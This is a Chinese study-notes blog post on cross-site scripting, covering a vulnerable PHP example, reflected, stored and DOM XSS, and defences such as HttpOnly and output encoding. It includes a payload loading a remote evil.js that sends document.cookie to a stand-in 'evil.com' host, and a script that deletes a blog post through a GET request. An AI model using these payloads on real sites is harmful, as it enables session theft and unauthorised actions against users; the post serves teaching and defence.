白帽子讲Web安全学习之XSS

目录

1.XSS简介

2.XSS攻击进阶

2.1初探XSS Payload

2.2 强大的XSS Payload

2.3 XSS防御


1.XSS简介

跨站脚本攻击(Cross Site Sript)缩写XSS,XSS攻击通常指黑客通过HTML注入篡改了网页,插入了恶意脚本,从而在用户浏览网页时,控制用户的浏览器的一种攻击方式。下面看个例子

<?php

$input = $_GET["param"];
echo "<div>".$input."</div>";

?>

正常情况下,用户输入数据提交param后,代码会将其输入的展示到页面中,但是由于没有对用户输入进行限制,如果用户输入以下代码:

http://www.a.com/test.php?param=<script>alert('弹窗')</script>

会发现浏览器执行了alert()命令弹窗了。

以上这种例子,就是XSS中的反射型XSS,另外还有存储型XSS和DOM型XSS。

反射型XSS:反射型XSS只是简单地把用户输入的数据反射给浏览器,也就是说往往需要诱使用户点击恶意连接后才可以攻击成功。反射型XSS也叫非持久性XSS。

存储型XSS:存储型 XSS会把用户数据的数据存储到服务器端,这种XSS具有很强的稳定性。比较常见的常见是黑客写下一篇将其发表后,所以访问改文章的用户都会在他们的浏览器中执行这段恶意代码。

DOM型XSS:DOM型XSS从效果上来说也是反射型XSS,通过修改页面的DOM节点形成的XSS称之为DOM型XSS。

2.XSS攻击进阶

2.1初探XSS Payload

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本控制用户的浏览器,这些恶意脚本被称为XSS Payload,实际上就是JS脚本(或Flash或其他富文本客户端的脚本)。

一个常见的XSS Payload,就是通过读取浏览器的Cookie对象从而发起的Cookie劫持攻击,Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失就意味着用户的登录凭证丢失,也就代表着攻击者不需要输入密码就可以登录用户的账户。

如下所示,攻击者先加载一个远程脚本,真正的XSS Payload写在这个远程脚本中

http://www.a.com/test.htm?abc=''><script src=http://www.evil/com/evil.js ></script>

#evil.js
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

evil.js这段代码在页面中插入了一张看不见的图片,同时将cocument.cookie对象作为参数发送到了远程服务器。

2.2 强大的XSS Payload

        攻击者可以通过传递参数来达到攻击的目的,如下是正常的删除文章代码

http://blog.sohu.com/manage/entry.do?delete&id=156713012

假设该网站存在XSS漏洞,攻击者仅需要知道文章id就能够通过GET请求来删除这篇文章。攻击者可以插入一张图片来发起一个GET请求:

var img = document.createElement("img");
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);

攻击者只需要让博客的作者执行这段JS代码(XSS Payload),就会将文章删除

2.3 XSS防御

2.3.1 httponly

httponly解决的是XSS后的cookie劫持攻击,一个cookie的使用过程如下:

  1. 浏览器向服务器发送请求,此时无cookie
  2. 服务器返回时发送Set-Cookie头,向客户浏览器写入Cookie
  3. 在该cookie到期前,浏览器访问该域下的所有页面,都将发送该cookie

HttpOnly是在Set-Cookie时标记的,如果设置了HttpOnly攻击者是无法读取到cookie的

2.3.2 输入检查

常见的Web漏洞如SQL注入,XSS等都需要使用特殊字符,这些字符正常用户是用不到的,所以可以进行必要的输入检查如' < ' , ' > ' , ' / ' 等

2.3.3输出检查

输出检查即对输出进行编码或转义来防御XSS攻击,如HTMLEncode,JavascriptEncode等编码函数

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值